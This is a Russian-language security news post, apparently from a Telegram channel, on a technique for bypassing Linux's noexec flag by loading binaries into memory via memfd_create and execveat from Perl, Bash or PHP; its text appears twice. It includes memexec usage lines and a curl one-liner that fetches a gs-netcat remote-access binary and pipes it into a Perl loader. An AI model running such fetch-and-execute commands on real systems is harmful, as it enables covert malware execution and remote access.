⚠️ Обход флага noexec в Linux: критическая уязвимость ⚠️
Исследователи обнаружили способ обхода флага noexec в Linux, который позволяет запускать произвольные бинарные файлы на разделах, где выполнение запрещено. Этот метод использует скрипты на Perl, Bash и PHP, не требуя прав root, и позволяет загружать и исполнять файлы напрямую из интернета, обходя ограничения.
🔑 Как работает уязвимость?
Секрет заключается в том, что бинарный файл не нужно помечать как исполняемый, и он может находиться на разделе с активным флагом noexec. Это особенно критично, если все доступные для записи разделы смонтированы с параметром -o noexec, включая /dev/shm. Метод работает даже в средах, где PHP ограничен в использовании функции 'exec'.
💻 Технические детали
Решение базируется на инъекции shellcode в работающий процесс через системные вызовы memfd_create и execveat, что позволяет загрузить бинарный файл из оперативной памяти. Метод успешно работает даже в условиях, когда системные вызовы в Bash и PHP заблокированы.
Пример выполнения команды 'id' на Perl:
Аналогично для Bash:
📡 Загрузка и исполнение файлов из интернета
Одним из опасных аспектов метода является возможность загрузки и выполнения файлов напрямую из сети, минуя ограничения noexec. Это может использоваться злоумышленниками для скрытого запуска вредоносного ПО, например:
🚨 Влияние на безопасность
Метод представляет серьёзную угрозу для систем, которые полагаются на флаг noexec для защиты от исполнения кода. Специалисты рекомендуют усилить контроль за доступом к системным вызовам и ограничить их использование, особенно в критически важных средах.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #SecureTechTalks #Linux #noexec #уязвимость #информационнаябезопасность
Исследователи обнаружили способ обхода флага noexec в Linux, который позволяет запускать произвольные бинарные файлы на разделах, где выполнение запрещено. Этот метод использует скрипты на Perl, Bash и PHP, не требуя прав root, и позволяет загружать и исполнять файлы напрямую из интернета, обходя ограничения.
🔑 Как работает уязвимость?
Секрет заключается в том, что бинарный файл не нужно помечать как исполняемый, и он может находиться на разделе с активным флагом noexec. Это особенно критично, если все доступные для записи разделы смонтированы с параметром -o noexec, включая /dev/shm. Метод работает даже в средах, где PHP ограничен в использовании функции 'exec'.
💻 Технические детали
Решение базируется на инъекции shellcode в работающий процесс через системные вызовы memfd_create и execveat, что позволяет загрузить бинарный файл из оперативной памяти. Метод успешно работает даже в условиях, когда системные вызовы в Bash и PHP заблокированы.
Пример выполнения команды 'id' на Perl:
source memexec-perl.sh
cat /usr/bin/id | memexec -u
Аналогично для Bash:
source memexec-bash.sh
cat /usr/bin/id | memexec
📡 Загрузка и исполнение файлов из интернета
Одним из опасных аспектов метода является возможность загрузки и выполнения файлов напрямую из сети, минуя ограничения noexec. Это может использоваться злоумышленниками для скрытого запуска вредоносного ПО, например:
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | perl -e 'for(319,279){...}'🚨 Влияние на безопасность
Метод представляет серьёзную угрозу для систем, которые полагаются на флаг noexec для защиты от исполнения кода. Специалисты рекомендуют усилить контроль за доступом к системным вызовам и ограничить их использование, особенно в критически важных средах.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #SecureTechTalks #Linux #noexec #уязвимость #информационнаябезопасность